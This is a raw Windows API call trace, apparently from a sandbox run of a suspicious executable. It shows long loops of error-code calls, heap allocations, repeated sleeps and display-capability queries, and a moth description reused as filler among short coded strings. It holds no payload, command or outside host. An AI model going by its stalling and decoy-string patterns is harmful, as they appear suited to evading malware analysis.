[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.081] SetLastError (dwErrCode=0x0)
[0045.081] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.082] SetLastError (dwErrCode=0x0)
[0045.082] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.083] GetLastError () returned 0x0
[0045.083] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.084] SetLastError (dwErrCode=0x0)
[0045.084] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.085] SetLastError (dwErrCode=0x0)
[0045.085] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.086] GetLastError () returned 0x0
[0045.086] SetLastError (dwErrCode=0x0)
[0045.087] GetLastError () returned 0x0
[0045.087] SetLastError (dwErrCode=0x0)
[0045.087] GetLastError () returned 0x0
[0045.087] SetLastError (dwErrCode=0x0)
[0045.087] GetLastError () returned 0x0
[0045.087] SetLastError (dwErrCode=0x0)
[0045.087] GetLastError () returned 0x0
[0045.087] SetLastError (dwErrCode=0x0)
[0045.087] GetLastError () returned 0x0
[0045.087] SetLastError (dwErrCode=0x0)
[0045.087] GetLastError () returned 0x0
[0045.087] SetLastError (dwErrCode=0x0)
[0045.087] GetLastError () returned 0x0
[0045.087] SetLastError (dwErrCode=0x0)
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x90) returned 0x6717c0
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1f) returned 0x671858
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2e) returned 0x671880
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x37) returned 0x6718b8
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3c) returned 0x6718f8
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x31) returned 0x671940
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x14) returned 0x671980
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x24) returned 0x6719a0
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd) returned 0x6719d0
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1d) returned 0x6719e8
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x31) returned 0x671a10
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x15) returned 0x671a50
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x17) returned 0x671a70
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe) returned 0x671a90
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xa2) returned 0x671aa8
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3e) returned 0x671b58
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1b) returned 0x671ba0
[0045.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1d) returned 0x671bc8
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x49) returned 0x671bf0
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x12) returned 0x671c48
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x18) returned 0x671c68
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1b) returned 0x671c88
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x24) returned 0x671cb0
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x29) returned 0x671ce0
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1e) returned 0x671d18
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x6b) returned 0x671d40
[0045.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x17) returned 0x671db8
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xf) returned 0x671dd8
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x16) returned 0x671df0
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2a) returned 0x671e10
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x29) returned 0x671e48
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x12) returned 0x671e80
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x21) returned 0x671ea0
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x16) returned 0x671ed0
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x22) returned 0x671ef0
[0045.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x12) returned 0x671f20
[0045.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670fd0 | out: hHeap=0x670000) returned 1
[0045.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x80) returned 0x671f40
[0045.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x800) returned 0x671fc8
[0045.146] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0045.146] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.147] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x435525) returned 0x409729
[0045.147] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.191] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.191] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.191] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.192] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.192] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.192] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.192] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.193] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.220] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.220] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.221] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.221] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x671f40) returned 0x80
[0045.221] GetLastError () returned 0x0
[0045.221] SetLastError (dwErrCode=0x0)
[0045.221] GetLastError () returned 0x0
[0045.221] SetLastError (dwErrCode=0x0)
[0045.221] GetLastError () returned 0x0
[0045.221] SetLastError (dwErrCode=0x0)
[0045.221] GetLastError () returned 0x0
[0045.221] SetLastError (dwErrCode=0x0)
[0045.221] GetLastError () returned 0x0
[0045.221] SetLastError (dwErrCode=0x0)
[0045.221] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.222] GetLastError () returned 0x0
[0045.222] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.223] SetLastError (dwErrCode=0x0)
[0045.223] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.224] SetLastError (dwErrCode=0x0)
[0045.224] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.225] GetLastError () returned 0x0
[0045.225] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.226] SetLastError (dwErrCode=0x0)
[0045.226] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.227] SetLastError (dwErrCode=0x0)
[0045.227] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.228] SetLastError (dwErrCode=0x0)
[0045.228] GetLastError () returned 0x0
[0045.230] SetLastError (dwErrCode=0x0)
[0045.230] GetLastError () returned 0x0
[0045.230] SetLastError (dwErrCode=0x0)
[0045.230] GetLastError () returned 0x0
[0045.230] SetLastError (dwErrCode=0x0)
[0045.230] GetLastError () returned 0x0
[0045.230] SetLastError (dwErrCode=0x0)
[0045.230] GetLastError () returned 0x0
[0045.230] SetLastError (dwErrCode=0x0)
[0045.230] GetLastError () returned 0x0
[0045.230] SetLastError (dwErrCode=0x0)
[0045.230] GetLastError () returned 0x0
[0045.230] SetLastError (dwErrCode=0x0)
[0045.230] GetLastError () returned 0x0
[0045.230] SetLastError (dwErrCode=0x0)
[0045.232] Sleep (dwMilliseconds=0x1)
[0045.263] Sleep (dwMilliseconds=0x4)
[0045.276] Sleep (dwMilliseconds=0x8)
[0045.355] Sleep (dwMilliseconds=0x8)
[0045.372] Sleep (dwMilliseconds=0x1)
[0045.443] Sleep (dwMilliseconds=0x4)
[0045.455] Sleep (dwMilliseconds=0x8)
[0045.483] Sleep (dwMilliseconds=0x8)
[0045.501] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x340109a5
[0045.503] GetDeviceCaps (hdc=0x340109a5, index=8) returned 1440
[0045.503] ReleaseDC (hWnd=0x0, hDC=0x340109a5) returned 1
[0045.503] Sleep (dwMilliseconds=0x1)
[0045.513] Sleep (dwMilliseconds=0x4)
[0045.527] Sleep (dwMilliseconds=0x8)
[0045.565] Sleep (dwMilliseconds=0x8)
[0045.661] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xd001053c
[0045.662] GetDeviceCaps (hdc=0xd001053c, index=8) returned 1440
[0045.662] ReleaseDC (hWnd=0x0, hDC=0xd001053c) returned 1
[0045.662] Sleep (dwMilliseconds=0x1)
[0045.692] Sleep (dwMilliseconds=0x4)
[0045.698] Sleep (dwMilliseconds=0x8)
[0045.714] Sleep (dwMilliseconds=0x8)
[0045.762] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xa0100d0
[0045.762] GetDeviceCaps (hdc=0xa0100d0, index=8) returned 1440
[0045.762] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1
[0045.762] Sleep (dwMilliseconds=0x1)
[0045.783] Sleep (dwMilliseconds=0x4)
[0045.802] Sleep (dwMilliseconds=0x8)
[0045.825] Sleep (dwMilliseconds=0x8)
[0045.883] Sleep (dwMilliseconds=0x1)
[0045.886] Sleep (dwMilliseconds=0x4)
[0045.901] Sleep (dwMilliseconds=0x8)
[0045.948] Sleep (dwMilliseconds=0x8)
[0045.964] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xb0100d0
[0045.965] GetDeviceCaps (hdc=0xb0100d0, index=8) returned 1440
[0045.965] ReleaseDC (hWnd=0x0, hDC=0xb0100d0) returned 1
[0045.965] Sleep (dwMilliseconds=0x1)
[0046.052] Sleep (dwMilliseconds=0x4)
[0046.065] Sleep (dwMilliseconds=0x8)
[0046.152] Sleep (dwMilliseconds=0x8)
[0046.167] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xc0100d0
[0046.167] GetDeviceCaps (hdc=0xc0100d0, index=8) returned 1440
[0046.167] ReleaseDC (hWnd=0x0, hDC=0xc0100d0) returned 1
[0046.167] Sleep (dwMilliseconds=0x1)
[0046.235] Sleep (dwMilliseconds=0x4)
[0046.246] Sleep (dwMilliseconds=0x8)
[0046.302] Sleep (dwMilliseconds=0x8)
[0046.329] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1c010984
[0046.329] GetDeviceCaps (hdc=0x1c010984, index=8) returned 1440
[0046.329] ReleaseDC (hWnd=0x0, hDC=0x1c010984) returned 1
[0046.329] Sleep (dwMilliseconds=0x1)
[0046.372] Sleep (dwMilliseconds=0x4)
[0046.387] Sleep (dwMilliseconds=0x8)
[0046.420] Sleep (dwMilliseconds=0x8)
[0046.434] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.434] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.434] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.434] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.434] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x68fcc8
[0046.434] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.434] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.434] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.434] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="5576B8") returned 6
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="5576B8") returned 6
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="5576B8") returned 6
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="5576B8") returned 6
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="5576B8") returned 6
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="5576B8") returned 6
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x6864f0
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.435] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="QC1IGII") returned 7
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
